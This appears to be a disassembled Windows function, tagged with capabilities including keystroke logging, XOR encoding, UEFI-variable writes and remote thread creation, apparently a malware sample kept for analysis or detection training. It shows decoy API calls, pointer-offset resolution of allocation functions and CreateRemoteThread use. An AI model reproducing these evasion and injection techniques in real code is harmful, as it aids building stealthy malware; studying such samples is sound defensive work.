Function at 0x180003090
Capabilities:
Create process on windows
Create thread
Encode data using xor
Extract resource via kernel32 functions
Generate random numbers using a mersenne twister
Log keystrokes
Set uefi variable

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x1310]
mov eax, 0x1410
call fcn.1800441e0
sub rsp, rax
mov rdi, rcx
xor ecx, ecx
call fcn.18004b504
mov dword [rbp - 0x7c], eax
mov edx, 1
mov dword [rbp + 0x1304], 0xffffffff
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 - 0x7c], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1800030d0
xor esi, esi
mov dword [rbp - 0x80], 0x270
cmp dword [0x1800afe90], 0x1e252bad
jne 0x180003300
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ValidateRect]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSysColor]
mov qword [rsp + 0x48], rsi
lea rax, [0x1800c4360]
mov qword [rsp + 0x40], rsi
lea r8, [0x1800c4398]
mov qword [rsp + 0x38], rsi
lea rcx, [0x1800c43c8]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FindNLSStringEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMenuInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDCEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DdeEnableCallback]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowEnabled]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_AttachThreadInput]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMenuStringW]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLongPathNameTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetScrollPos]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov dword [rsp + 0x38], esi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationByHandleW]
lea rdx, [0x1800c4400]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadDescription]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalHandle]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeParameters]
xor r9d, r9d
lea rdx, [0x1800c4428]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsExEx]
mov qword [rsp + 0x38], rsi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], esi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalFree]
call qword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_PeekMessageW]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
call qword [sym.imp.USER32.dll_GetMessagePos]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetActiveProcessorCount]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
nop dword [rax]
lea rcx, [rbp - 0x80]
call fcn.180013070
mov ecx, eax
lea rbx, [rcx + rcx*2]
test ebx, ebx
jne 0x180003327
lea rcx, [rbp - 0x80]
call fcn.180013070
mov ecx, eax
lea rbx, [rcx + rcx*2]
cmp ebx, 1
jb 0x180003313
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea rcx, [rsp + 0x50]
add rax, 0x132
mov dword [rsp + 0x68], 0x132
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x50], xmm0
shr rbx, 0x20
call fcn.18000bdb0
inc ebx
mov qword [rsp + 0x70], rax
sub ebx, 1
je 0x1800033f8
sub ebx, 1
je 0x1800033ec
cmp ebx, 1
jne 0x180003452
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rbp + 0x1340]
add rax, 0x1ba
mov dword [rsp + 0x58], 0x1ba
mov qword [rsp + 0x50], rax
lea r8, [rbp + 0x1348]
movaps xmm0, xmmword [rsp + 0x50]
lea rax, [rbp + 0x1338]
lea rdx, [rsp + 0x60]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x1338], 4
mov dword [rbp + 0x1340], 0x3000
mov qword [rbp + 0x1348], 0x1de8
mov qword [rsp + 0x60], rsi
call fcn.18000c520
jmp 0x18000344f
mov ecx, 0x1de8
call fcn.180043d84
jmp 0x18000344f
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rbp + 0x1340]
mov dword [rsp + 0x58], 0x131
lea r8, [rbp + 0x1338]
add rax, 0x131
mov qword [rbp + 0x1340], 0x1de8
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x70]
movaps xmm0, xmmword [rsp + 0x50]
lea rcx, [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
mov dword [rbp + 0x1338], 8
call fcn.18000be90
mov qword [rdi], rax
cmp dword [0x1800afe90], 0x8a1f9398
jne 0x1800035b8
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventExW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTimeEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeSynchronizationBarrier]
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateFontIndirectExW]
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetMapMode]
xor ecx, ecx
call qword [sym.imp.GDI32.dll_RemoveFontResourceW]
mov r9d, dword [rbp + 0x1338]
xor edx, edx
mov r8d, dword [rbp + 0x1338]
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSymbolicLinkTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_StartDocW]
xor r9d, r9d
mov word [rsp + 0x28], si
xor r8d, r8d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceNamesExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RaiseException]
mov rbx, qword [rsp + 0x1430]
add rsp, 0x1410
pop rdi
pop rsi
pop rbp
ret